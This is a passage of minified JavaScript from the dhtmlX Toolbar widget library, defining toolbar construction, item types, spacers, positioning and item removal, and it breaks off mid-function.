dhtmlXToolbarObject(c,e){var a=this;this.conf={skin:(e||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxtoolbar\")||\"dhx_skyblue\"),align:\"left\",align_autostart:\"left\",icons_path:\"\",iconSize:18,sel_ofs_x:0,sel_ofs_y:0,xml_autoload:null,items_autoload:null};if(typeof(c)==\"object\"&&c!=null&&typeof(c.tagName)==\"undefined\"){if(c.icons_path!=null||c.icon_path!=null){this.conf.icons_path=(c.icons_path||c.icon_path)}if(c.icons_size!=null){this.conf.icons_size_autoload=c.icons_size}if(c.json!=null){this.conf.json_autoload=c.json}if(c.xml!=null){this.conf.xml_autoload=c.xml}if(c.onload!=null){this.conf.onload_autoload=c.onload}if(c.onclick!=null||c.onClick!=null){this.conf.auto_onclick=(c.onclick||c.onClick)}if(c.items!=null){this.conf.items_autoload=c.items}if(c.skin!=null){this.conf.skin=c.skin}if(c.align!=null){this.conf.align_autostart=c.align}c=c.parent}this.cont=(typeof(c)!=\"object\")?document.getElementById(c):c;while(this.cont.childNodes.length>0){this.cont.removeChild(this.cont.childNodes[0])}c=null;this.cont.dir=\"ltr\";this.base=document.createElement(\"DIV\");this.base.className=\"dhxtoolbar_float_left\";this.cont.appendChild(this.base);if(window.dhx4.isIPad){this.cont.ontouchstart=function(g){g=g||event;if((String(g.target.tagName||\"\").toLowerCase()==\"input\")){return true}if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}g.cancelBubble=true;return false}}this.setSkin(this.conf.skin);this.objPull={};this.anyUsed=\"none\";this._genStr=function(g){var h=\"dhxId_\";var m=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";for(var l=0;l<g;l++){h+=m.charAt(Math.round(Math.random()*(m.length-1)))}return h};this.rootTypes=new Array(\"button\",\"buttonSelect\",\"buttonTwoState\",\"separator\",\"label\",\"slider\",\"text\",\"buttonInput\");this.idPrefix=this._genStr(12);window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToJson\",\"toolbar\",{struct:true});window.dhx4._eventable(this);this._getObj=function(m,g){var h=null;for(var l=0;l<m.childNodes.length;l++){if(m.childNodes[l].tagName!=null){if(String(m.childNodes[l].tagName).toLowerCase()==String(g).toLowerCase()){h=m.childNodes[l]}}}return h};this._addImgObj=function(h){var g=document.createElement(\"IMG\");if(h.childNodes.length>0){h.insertBefore(g,h.childNodes[0])}else{h.appendChild(g)}return g};this._setItemImage=function(m,h,g){if(g==true){m.imgEn=h}else{m.imgDis=h}if((!m.state&&g==true)||(m.state&&g==false)){return}var l=this._getObj(m.obj,\"img\");if(l==null){l=this._addImgObj(m.obj)}l.src=this.conf.icons_path+h};this._clearItemImage=function(l,g){if(g==true){l.imgEn=\"\"}else{l.imgDis=\"\"}if((!l.state&&g==true)||(l.state&&g==false)){return}var h=this._getObj(l.obj,\"img\");if(h!=null){h.parentNode.removeChild(h)}};this._setItemText=function(g,l){var h=this._getObj(g.obj,\"div\");if(l==null||l.length==0){if(h!=null){h.parentNode.removeChild(h)}return}if(h==null){h=document.createElement(\"DIV\");h.className=\"dhxtoolbar_text\";g.obj.appendChild(h)}h.innerHTML=l};this._getItemText=function(g){var h=this._getObj(g.obj,\"div\");if(h!=null){return h.innerHTML}return\"\"};this._enableItem=function(h){if(h.state){return}h.state=true;if(this.objPull[h.id][\"type\"]==\"buttonTwoState\"&&this.objPull[h.id][\"obj\"][\"pressed\"]==true){h.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";h.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}else{h.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";h.obj.renderAs=h.obj.className}if(h.arw){h.arw.className=String(h.obj.className).replace(\"btn\",\"arw\")}var g=this._getObj(h.obj,\"img\");if(h.imgEn!=\"\"){if(g==null){g=this._addImgObj(h.obj)}g.src=this.conf.icons_path+h.imgEn}else{if(g!=null){g.parentNode.removeChild(g)}}};this._disableItem=function(h){if(!h.state){return}h.state=false;h.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.objPull[h.id][\"type\"]==\"buttonTwoState\"&&h.obj.pressed?\"pres_\":\"\")+\"dis\";h.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";if(h.arw){h.arw.className=String(h.obj.className).replace(\"btn\",\"arw\")}var g=this._getObj(h.obj,\"img\");if(h.imgDis!=\"\"){if(g==null){g=this._addImgObj(h.obj)}g.src=this.conf.icons_path+h.imgDis}else{if(g!=null){g.parentNode.removeChild(g)}}if(h.polygon!=null){if(h.polygon.style.display!=\"none\"){window.dhx4.zim.clear(h.polygon._idd);h.polygon.style.display=\"none\";if(h.polygon._ie6cover){h.polygon._ie6cover.style.display=\"none\"}if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceButtonSelect(h.id,true)}}}this.anyUsed=\"none\"};this.clearAll=function(){for(var g in this.objPull){this._removeItem(String(g).replace(this.idPrefix,\"\"))}};this._doOnClick=function(g){if(a&&a.forEachItem){a.forEachItem(function(l){if(a.objPull[a.idPrefix+l][\"type\"]==\"buttonSelect\"){var h=a.objPull[a.idPrefix+l];if(h.arw._skip===true){h.arw._skip=false}else{if(h.polygon.style.display!=\"none\"){h.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";h.obj.className=h.obj.renderAs;h.arw.className=String(h.obj.renderAs).replace(\"btn\",\"arw\");a.anyUsed=\"none\";window.dhx4.zim.clear(h.polygon._idd);h.polygon.style.display=\"none\";if(h.polygon._ie6cover){h.polygon._ie6cover.style.display=\"none\"}if(a.conf.skin==\"dhx_terrace\"){a._improveTerraceButtonSelect(h.id,true)}}}}})}};if(window.dhx4.isIPad){document.addEventListener(\"touchstart\",this._doOnClick,false)}else{if(typeof(window.addEventListener)!=\"undefined\"){window.addEventListener(\"mousedown\",this._doOnClick,false)}else{document.body.attachEvent(\"onmousedown\",this._doOnClick)}}if(this.conf.icons_size_autoload!=null){this.setIconSize(this.conf.icons_size_autoload);this.conf.icons_size_autoload=null}if(this.conf.items_autoload!=null){this.loadStruct(this.conf.items_autoload,this.conf.onload_autoload);this.conf.items_autoload=null}else{if(this.conf.json_autoload!=null){this.loadStruct(this.conf.json_autoload,this.conf.onload_autoload);this.conf.json_autoload=null}else{if(this.conf.xml_autoload!=null){this.loadStruct(this.conf.xml_autoload,this.conf.onload_autoload);this.conf.xml_autoload=null}}}if(this.conf.align_autostart!=this.conf.align){this.setAlign(this.conf.align_autostart);this.conf.align_autostart=null}if(typeof(this.conf.auto_onclick)==\"function\"){this.attachEvent(\"onClick\",this.conf.auto_onclick)}else{if(typeof(this.conf.auto_onclick)==\"string\"&&typeof(window[this.conf.auto_onclick])==\"function\"){this.attachEvent(\"onClick\",window[this.conf.auto_onclick])}}return this}dhtmlXToolbarObject.prototype.addSpacer=function(e){var c=this.idPrefix+e;if(this._spacer!=null){if(this._spacer.idd==e){return}if(this._spacer==this.objPull[c].obj.parentNode){var a=true;while(a){var m=this._spacer.childNodes[0].idd;this.base.appendChild(this._spacer.childNodes[0]);if(m==e||this._spacer.childNodes.length==0){if(this.objPull[c].arw!=null){this.base.appendChild(this.objPull[c].arw)}a=false}}this._spacer.idd=e;this._fixSpacer();return}if(this.base==this.objPull[c].obj.parentNode){var a=true;var l=(this.objPull[c].arw!=null);while(a){var g=this.base.childNodes.length-1;if(l==true){if(this.base.childNodes[g]==this.objPull[c].arw){a=false}}if(this.base.childNodes[g].idd==e){a=false}if(a){if(this._spacer.childNodes.length>0){this._spacer.insertBefore(this.base.childNodes[g],this._spacer.childNodes[0])}else{this._spacer.appendChild(this.base.childNodes[g])}}}this._spacer.idd=e;this._fixSpacer();return}}else{var h=null;for(var g=0;g<this.base.childNodes.length;g++){if(this.base.childNodes[g]==this.objPull[this.idPrefix+e].obj){h=g;if(this.objPull[this.idPrefix+e].arw!=null){h=g+1}}}if(h!=null){this._spacer=document.createElement(\"DIV\");this._spacer.className=(this.conf.align==\"right\"?\" dhxtoolbar_float_left\":\" dhxtoolbar_float_right\");this._spacer.dir=\"ltr\";this._spacer.idd=e;while(this.base.childNodes.length>h+1){this._spacer.appendChild(this.base.childNodes[h+1])}this.cont.appendChild(this._spacer);this._fixSpacer()}}if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.removeSpacer=function(){if(!this._spacer){return}while(this._spacer.childNodes.length>0){this.base.appendChild(this._spacer.childNodes[0])}this._spacer.parentNode.removeChild(this._spacer);this._spacer=null;if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype._fixSpacer=function(){if(typeof(window.addEventListener)==\"undefined\"&&this._spacer!=null){this._spacer.style.borderLeft=\"1px solid #a4bed4\";var a=this._spacer;window.setTimeout(function(){a.style.borderLeft=\"0px solid #a4bed4\";a=null},1)}};dhtmlXToolbarObject.prototype.getType=function(e){var g=this.getParentId(e);if(g!=null){var c=null;var a=this.objPull[this.idPrefix+g]._listOptions[e];if(a!=null){if(a.sep!=null){c=\"buttonSelectSeparator\"}else{c=\"buttonSelectButton\"}}return c}else{if(this.objPull[this.idPrefix+e]==null){return null}return this.objPull[this.idPrefix+e][\"type\"]}};dhtmlXToolbarObject.prototype.getTypeExt=function(c){var a=this.getType(c);if(a==\"buttonSelectButton\"||a==\"buttonSelectSeparator\"){if(a==\"buttonSelectButton\"){a=\"button\"}else{a=\"separator\"}return a}return null};dhtmlXToolbarObject.prototype.inArray=function(e,c){for(var a=0;a<e.length;a++){if(e[a]==c){return true}}return false};dhtmlXToolbarObject.prototype.getParentId=function(g){var h=null;for(var e in this.objPull){if(this.objPull[e]._listOptions){for(var c in this.objPull[e]._listOptions){if(c==g){h=String(e).replace(this.idPrefix,\"\")}}}}return h};dhtmlXToolbarObject.prototype._addItem=function(a,c){if(typeof(a.text)==\"string\"){a.text=window.dhx4.trim(a.text);if(a.text.length==0){a.text=null}}this._addItemToStorage(a,c);if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype.addButton=function(h,g,c,a,e){this._addItem({id:h,type:\"button\",text:c,img:a,imgdis:e},g)};dhtmlXToolbarObject.prototype.addText=function(e,c,a){this._addItem({id:e,type:\"text\",text:a},c)};dhtmlXToolbarObject.prototype.addButtonSelect=function(g,n,s,a,c,o,m,w,h,l){var v=[];for(var e=0;e<a.length;e++){var r={};if(a[e] instanceof Array){r.id=a[e][0];r.type=(a[e][1]==\"obj\"?\"button\":\"separator\");r.text=(a[e][2]||null);r.img=(a[e][3]||null)}else{if(a[e] instanceof Object&&a[e]!=null&&typeof(a[e].id)!=\"undefined\"&&typeof(a[e].type)!=\"undefined\"){r.id=a[e].id;r.type=(a[e].type==\"obj\"?\"button\":\"separator\");r.text=a[e].text;r.img=a[e].img}}v.push(r)}this._addItem({id:g,type:\"buttonSelect\",text:s,img:c,imgdis:o,renderSelect:m,openAll:w,options:v,maxOpen:h,mode:l},n)};dhtmlXToolbarObject.prototype.addButtonTwoState=function(h,g,c,a,e){this._addItem({id:h,type:\"buttonTwoState\",img:a,imgdis:e,text:c},g)};dhtmlXToolbarObject.prototype.addSeparator=function(c,a){this._addItem({id:c,type:\"separator\"},a)};dhtmlXToolbarObject.prototype.addSlider=function(c,m,h,g,o,e,l,a,n){this._addItem({id:c,type:\"slider\",length:h,valueMin:g,valueMax:o,valueNow:e,textMin:l,textMax:a,toolTip:n},m)};dhtmlXToolbarObject.prototype.addInput=function(g,e,c,a){this._addItem({id:g,type:\"buttonInput\",value:c,width:a},e)};dhtmlXToolbarObject.prototype.forEachItem=function(e){for(var c in this.objPull){if(this.inArray(this.rootTypes,this.objPull[c][\"type\"])){e(this.objPull[c][\"id\"].replace(this.idPrefix,\"\"))}}};(function(){var l=\"isVisible,enableItem,disableItem,isEnabled,setItemText,getItemText,setItemToolTip,getItemToolTip,getInput,setItemImage,setItemImageDis,clearItemImage,clearItemImageDis,setItemState,getItemState,setItemToolTipTemplate,getItemToolTipTemplate,setValue,getValue,setMinValue,getMinValue,setMaxValue,getMaxValue,setWidth,getWidth,setMaxOpen\".split(\",\");var e=[false,\"\",\"\",false,\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",false,\"\",\"\",\"\",null,\"\",[null,null],\"\",[null,null],\"\",null];var c=function(m,n){return function(r,q,o){r=this.idPrefix+r;if(this.objPull[r][m]!=null){return this.objPull[r][m].call(this.objPull[r],q,o)}else{return n}}};for(var h=0;h<l.length;h++){var a=l[h];var g=e[h];dhtmlXToolbarObject.prototype[a]=c(a,g)}})();dhtmlXToolbarObject.prototype.showItem=function(a){a=this.idPrefix+a;if(this.objPull[a]!=null&&this.objPull[a].showItem!=null){this.objPull[a].showItem();if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}}};dhtmlXToolbarObject.prototype.hideItem=function(a){a=this.idPrefix+a;if(this.objPull[a]!=null&&this.objPull[a].hideItem!=null){this.objPull[a].hideItem();if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}}};dhtmlXToolbarObject.prototype.getPosition=function(a){return this._getPosition(a)};dhtmlXToolbarObject.prototype._getPosition=function(h,e){if(this.objPull[this.idPrefix+h]==null){return null}var g=null;var a=0;for(var c=0;c<this.base.childNodes.length;c++){if(this.base.childNodes[c].idd!=null){if(this.base.childNodes[c].idd==h){g=a}a++}}if(!g&&this._spacer!=null){for(var c=0;c<this._spacer.childNodes.length;c++){if(this._spacer.childNodes[c].idd!=null){if(this._spacer.childNodes[c].idd==h){g=a}a++}}}return g};dhtmlXToolbarObject.prototype.setPosition=function(a,c){this._setPosition(a,c)};dhtmlXToolbarObject.prototype._setPosition=function(h,g){if(this.objPull[this.idPrefix+h]==null){return}if(isNaN(g)){g=this.base.childNodes.length}if(g<0){g=0}var a=null;if(this._spacer){a=this._spacer.idd;this.removeSpacer()}var e=this.objPull[this.idPrefix+h];this.base.removeChild(e.obj);if(e.arw){this.base.removeChild(e.arw)}var c=this._getIdByPosition(g,true);if(c[0]==null){this.base.appendChild(e.obj);if(e.arw){this.base.appendChild(e.arw)}}else{this.base.insertBefore(e.obj,this.base.childNodes[c[1]]);if(e.arw){this.base.insertBefore(e.arw,this.base.childNodes[c[1]+1])}}if(a!=null){this.addSpacer(a)}};dhtmlXToolbarObject.prototype._getIdByPosition=function(l,c){var h=null;var a=0;var e=0;for(var g=0;g<this.base.childNodes.length;g++){if(this.base.childNodes[g][\"idd\"]!=null&&h==null){if((a++)==l){h=this.base.childNodes[g][\"idd\"]}}if(h==null){e++}}e=(h==null?null:e);return(c==true?new Array(h,e):h)};dhtmlXToolbarObject.prototype.removeItem=function(a){this._removeItem(a);if(this.conf.skin==\"dhx_terrace\"){this._improveTerraceSkin()}};dhtmlXToolbarObject.prototype._removeItem=function(h){var e=this.getType(h);h=this.idPrefix+h;var g=this.objPull[h];if(e==\"button\"){g.obj._doOnMouseOver=null;g.obj._doOnMouseOut=null;g.obj._doOnMouseUp=null;g.obj._doOnMouseUpOnceAnywhere=null;g.obj.onclick=null;g.obj.onmouseover=null;g.obj.onmouseout=null;g.obj.onmouseup=null;g.obj.onmousedown=null;g.obj.onselectstart=null;g.obj.renderAs=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.state=null;g.img=null;g.imgEn=null;g.imgDis=null;g.type=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemText=null;g.getItemText=null;g.setItemImage=null;g.clearItemImage=null;g.setItemImageDis=null;g.clearItemImageDis=null;g.setItemToolTip=null;g.getItemToolTip=null}if(e==\"buttonTwoState\"){g.obj._doOnMouseOver=null;g.obj._doOnMouseOut=null;g.obj.onmouseover=null;g.obj.onmouseout=null;g.obj.onmousedown=null;g.obj.onselectstart=null;g.obj.renderAs=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.state=null;g.img=null;g.imgEn=null;g.imgDis=null;g.type=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemText=null;g.getItemText=null;g.setItemImage=null;g.clearItemImage=null;g.setItemImageDis=null;g.clearItemImageDis=null;g.setItemToolTip=null;g.getItemToolTip=null;g.setItemState=null;g.getItemState=null}if(e==\"buttonSelect\"){for(var c in g._listOptions){this.removeListOption(h,c)}g._listOptions=null;if(g.polygon._ie6cover){document.body.removeChild(g.polygon._ie6cover);g.polygon._ie6cover=null}g.p_tbl.removeChild(g.p_tbody);g.polygon.removeChild(g.p_tbl);g.polygon.onselectstart=null;document.body.removeChild(g.polygon);g.p_tbody=null;g.p_tbl=null;g.polygon=null;g.obj.onclick=null;g.obj.onmouseover=null;g.obj.onmouseout=null;g.obj.onmouseup=null;g.obj.onmousedown=null;g.obj.onselectstart=null;g.obj.idd=null;g.obj.iddPrefix=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.arw.onclick=null;g.arw.onmouseover=null;g.arw.onmouseout=null;g.arw.onmouseup=null;g.arw.onmousedown=null;g.arw.onselectstart=null;g.arw.parentNode.removeChild(g.arw);g.arw=null;g.renderSelect=null;g.state=null;g.type=null;g.id=null;g.img=null;g.imgEn=null;g.imgDis=null;g.openAll=null;g._isListButton=null;g._separatorButtonSelectObject=null;g._buttonButtonSelectObject=null;g.setWidth=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemText=null;g.getItemText=null;g.setItemImage=null;g.clearItemImage=null;g.setItemImageDis=null;g.clearItemImageDis=null;g.setItemToolTip=null;g.getItemToolTip=null;g.addListOption=null;g.removeListOption=null;g.showListOption=null;g.hideListOption=null;g.isListOptionVisible=null;g.enableListOption=null;g.disableListOption=null;g.isListOptionEnabled=null;g.setListOptionPosition=null;g.getListOptionPosition=null;g.setListOptionImage=null;g.getListOptionImage=null;g.clearListOptionImage=null;g.setListOptionText=null;g.getListOptionText=null;g.setListOptionToolTip=null;g.getListOptionToolTip=null;g.forEachListOption=null;g.getAllListOptions=null;g.setListOptionSelected=null;g.getListOptionSelected=null}if(e==\"buttonInput\"){g.obj.childNodes[0].onkeydown=null;g.obj.removeChild(g.obj.childNodes[0]);g.obj.w=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setItemToolTip=null;g.getItemToolTip=null;g.setWidth=null;g.getWidth=null;g.setValue=null;g.getValue=null;g.setItemText=null;g.getItemText=null}if(e==\"slider\"){if(window.dhx4.isIPad){document.removeEventListener(\"touchmove\",pen._doOnMouseMoveStart,false);document.removeEventListener(\"touchend\",pen._doOnMouseMoveEnd,false)}else{if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"mousemove\",g.pen._doOnMouseMoveStart,false);window.removeEventListener(\"mouseup\",g.pen._doOnMouseMoveEnd,false)}else{document.body.detachEvent(\"onmousemove\",g.pen._doOnMouseMoveStart);document.body.detachEvent(\"onmouseup\",g.pen._doOnMouseMoveEnd)}}g.pen.allowMove=null;g.pen.initXY=null;g.pen.maxX=null;g.pen.minX=null;g.pen.nowX=null;g.pen.newNowX=null;g.pen.valueMax=null;g.pen.valueMin=null;g.pen.valueNow=null;g.pen._definePos=null;g.pen._detectLimits=null;g.pen._doOnMouseMoveStart=null;g.pen._doOnMouseMoveEnd=null;g.pen.onmousedown=null;g.obj.removeChild(g.pen);g.pen=null;g.label.tip=null;document.body.removeChild(g.label);g.label=null;g.obj.onselectstart=null;g.obj.idd=null;while(g.obj.childNodes.length>0){g.obj.removeChild(g.obj.childNodes[0])}g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.state=null;g.enableItem=null;g.disableItem=null;g.isEnabled=null;g.setItemToolTipTemplate=null;g.getItemToolTipTemplate=null;g.setMaxValue=null;g.setMinValue=null;g.getMaxValue=null;g.getMinValue=null;g.setValue=null;g.getValue=null;g.showItem=null;g.hideItem=null;g.isVisible=null}if(e==\"separator\"){g.obj.onselectstart=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.showItem=null;g.hideItem=null;g.isVisible=null}if(e==\"text\"){g.obj.onselectstart=null;g.obj.idd=null;g.obj.parentNode.removeChild(g.obj);g.obj=null;g.id=null;g.type=null;g.showItem=null;g.hideItem=null;g.isVisible=null;g.setWidth=null;g.setItemText=null;g.getItemText=null}e=null;g=null;this.objPull[this.idPrefix+h]=null;delete this.objPull[this.idPrefix+h]};(function(){var g=\"addListOption,removeListOption,showListOption,hideListOption,isListOptionVisible,enableListOption,disableListOption,isListOptionEnabled,setListOptionPosition,getListOptionPosition,setListOptionText,getListOptionText,setListOptionToolTip,getListOptionToolTip,setListOptionImage,getListOptionImage,clearListOptionImage,forEachListOption,getAllListOptions,setListOptionSelected,getListOptionSelected\".split(\",\");var c=function(h){return function(r,m,l,q,o,n){r=this.idPrefix+r;if(this.objPull[r]==null){return}if(this.objPull[r][\"type\"]!=\"buttonSelect\"){return}return this.objPull[r][h].call(this.objPull[r],m,l,q,o,n)}};for(var e=0;e<g.length;e++){var a=g[e];dhtmlXToolbarObject.prototype[a]=c(a)}})();dhtmlXToolbarObject.prototype._rtlParseBtn=function(c,a){return c+a};dhtmlXToolbarObject.prototype._separatorObject=function(a,e,c){this.id=a.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_sep\";this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.idd=String(e);this.obj.title=(c.title||\"\");this.obj.onselectstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}};if(window.dhx4.isIPad){this.obj.ontouchstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}g.cancelBubble=true;return false}}a.base.appendChild(this.obj);this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};return this};dhtmlXToolbarObject.prototype._textObject=function(a,e,c){this.id=a.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_text\";this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.idd=String(e);this.obj.title=(c.title||\"\");this.obj.onselectstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}};if(window.dhx4.isIPad){this.obj.ontouchstart=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}g.cancelBubble=true;return false}}this.obj.innerHTML=(c.text||\"\");a.base.appendChild(this.obj);this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(g){this.obj.innerHTML=g};this.getItemText=function(){return this.obj.innerHTML};this.setWidth=function(g){this.obj.style.width=g+\"px\"};this.setItemToolTip=function(g){this.obj.title=g};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._buttonObject=function(a,g,c){this.id=a.idPrefix+g;this.state=(c.enabled!=null?false:true);this.imgEn=(c.img||\"\");this.imgDis=(c.imgdis||\"\");this.img=(this.state?(this.imgEn!=\"\"?this.imgEn:\"\"):(this.imgDis!=\"\"?this.imgDis:\"\"));this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.allowClick=false;this.obj.extAction=(c.action||null);this.obj.renderAs=this.obj.className;this.obj.idd=String(g);this.obj.title=(c.title||\"\");this.obj.pressed=false;this.obj.innerHTML=a._rtlParseBtn((this.img!=\"\"?\"<img src='\"+a.conf.icons_path+this.img+\"'>\":\"\"),(c.text!=null?\"<div class='dhxtoolbar_text'>\"+c.text+\"</div>\":\"\"));var e=this;this.obj.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}};this.obj.onmouseover=function(){this._doOnMouseOver()};this.obj.onmouseout=function(){this._doOnMouseOut()};this.obj._doOnMouseOver=function(){this.allowClick=true;if(e.state==false){return}if(a.anyUsed!=\"none\"){return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";this.renderAs=this.className};this.obj._doOnMouseOut=function(){this.allowClick=false;if(e.state==false){return}if(a.anyUsed!=\"none\"){return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.renderAs=this.renderAs};this.obj.onclick=function(h){if(e.state==false){return}if(this.allowClick==false){return}h=h||event;var l=this.idd.replace(a.idPrefix,\"\");if(this.extAction){try{window[this.extAction](l)}catch(h){}}if(a&&a.callEvent){a.callEvent(\"onClick\",[l])}};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){if(e.state==false){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}h.cancelBubble=true;return false}if(a.anyUsed!=\"none\"){return}a.anyUsed=this.idd;this.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";this.pressed=true;this.onmouseover=function(){this._doOnMouseOver()};this.onmouseout=function(){a.anyUsed=\"none\";this._doOnMouseOut()};return false};this.obj[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(l){if(e.state==false){return}if(a.anyUsed!=\"none\"){if(a.anyUsed!=this.idd){return}}var h=a.anyUsed;this._doOnMouseUp();if(window.dhx4.isIPad&&h!=\"none\"){a.callEvent(\"onClick\",[this.idd.replace(a.idPrefix,\"\")])}};if(window.dhx4.isIPad){this.obj.ontouchmove=function(h){this._doOnMouseUp()}}this.obj._doOnMouseUp=function(){a.anyUsed=\"none\";this.className=this.renderAs;this.pressed=false};this.obj._doOnMouseUpOnceAnywhere=function(){this._doOnMouseUp();this.onmouseover=function(){this._doOnMouseOver()};this.onmouseout=function(){this._doOnMouseOut()}};a.base.appendChild(this.obj);this.enableItem=function(){a._enableItem(this)};this.disableItem=function(){a._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(h){a._setItemText(this,h)};this.getItemText=function(){return a._getItemText(this)};this.setItemImage=function(h){a._setItemImage(this,h,true)};this.clearItemImage=function(){a._clearItemImage(this,true)};this.setItemImageDis=function(h){a._setItemImage(this,h,false)};this.clearItemImageDis=function(){a._clearItemImage(this,false)};this.setItemToolTip=function(h){this.obj.title=h};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._buttonSelectObject=function(e,l,h){this.id=e.idPrefix+l;this.state=(h.enabled!=null?(h.enabled==\"true\"?true:false):true);this.imgEn=(h.img||\"\");this.imgDis=(h.imgdis||\"\");this.img=(this.state?(this.imgEn!=\"\"?this.imgEn:\"\"):(this.imgDis!=\"\"?this.imgDis:\"\"));this.mode=(h.mode||\"button\");if(this.mode==\"select\"){this.openAll=true;this.renderSelect=false;if(!h.text||h.text.length==0){h.text=\"&nbsp;\"}}else{this.openAll=(window.dhx4.s2b(h.openAll)==true);this.renderSelect=(h.renderSelect==null?true:window.dhx4.s2b(h.renderSelect))}this.maxOpen=(!isNaN(h.maxOpen?h.maxOpen:\"\")?h.maxOpen:null);this._maxOpenTest=function(){if(!isNaN(this.maxOpen)){if(!e._sbw){var n=document.createElement(\"DIV\");n.className=\"dhxtoolbar_maxopen_test\";document.body.appendChild(n);var m=document.createElement(\"DIV\");m.className=\"dhxtoolbar_maxopen_test2\";n.appendChild(m);e._sbw=n.offsetWidth-m.offsetWidth;n.removeChild(m);m=null;document.body.removeChild(n);n=null}}};this._maxOpenTest();this.obj=document.createElement(\"DIV\");this.obj.allowClick=false;this.obj.extAction=(h.action||null);this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=(h.hidden!=null?\"none\":\"\");this.obj.renderAs=this.obj.className;this.obj.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};this.obj.idd=String(l);this.obj.title=(h.title||\"\");this.obj.pressed=false;this.callEvent=false;this.obj.innerHTML=e._rtlParseBtn((this.img!=\"\"?\"<img src='\"+e.conf.icons_path+this.img+\"'>\":\"\"),(h.text!=null?\"<div class='dhxtoolbar_text'>\"+h.text+\"</div>\":\"\"));e.base.appendChild(this.obj);this.arw=document.createElement(\"DIV\");this.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.arw.style.display=this.obj.style.display;this.arw.innerHTML=\"<div class='arwimg'>&nbsp;</div>\";this.arw.title=this.obj.title;this.arw.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};e.base.appendChild(this.arw);var a=this;this.obj.onmouseover=function(m){m=m||event;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\";a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\")};this.obj.onmouseout=function(){a.obj.allowClick=false;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.renderAs=\"dhx_toolbar_btn 